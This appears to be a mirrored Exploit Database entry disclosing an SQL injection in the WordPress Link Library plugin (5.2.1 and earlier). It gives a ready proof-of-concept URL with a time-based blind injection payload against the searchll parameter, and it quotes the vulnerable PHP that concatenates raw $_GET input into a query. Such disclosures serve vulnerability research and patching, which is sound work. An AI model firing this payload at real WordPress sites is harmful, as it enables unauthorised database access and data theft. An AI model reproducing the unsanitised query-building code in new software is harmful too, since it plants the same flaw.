WordPress Plugin Link Library 5.2.1 – SQL Injection

• Exploit Database
• 13 阅读

• 作者： Miroslav Stampar
  日期： 2011-09-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17887/

• # Exploit Title: WordPress Link Library plugin <= 5.2.1 SQL Injection Vulnerability
  # Date: 2011-09-16
  # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
  # Software Link: http://downloads.wordpress.org/plugin/link-library.zip
  # Version: 5.2.1 (tested)
  # Note: magic_quotes has to be turned off
  
  ---
  PoC
  ---
  http://www.site.com/wp-content/plugins/link-library/link-library-ajax.php?searchll=-1')/**/AND/**/1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23
  
  ---------------
  Vulnerable code
  ---------------
  ./link-library-ajax.php:
  echo $my_link_library_plugin->LinkLibrary(...);
  
  ./link-library.php:
  class link_library_plugin {
  ...
  function LinkLibrary(...) {
  return $this->PrivateLinkLibrary(...)
  ...
  function PrivateLinkLibrary(...) {
  ...
  if ($_GET['searchll'] != "")
  {
  $searchterms = explode(" ", $_GET['searchll']);
  
  if ($searchterms)
  {
  $mode = "search";
  $termnb = 1;
  
  foreach($searchterms as $searchterm)
  {
  if ($termnb == 1)
  {
  $linkquery .= " AND (link_name like '%" . $searchterm . "%' ";
  $termnb++;
  }
  ...
  $linkitems = $wpdb->get_results($linkquery, ARRAY_A);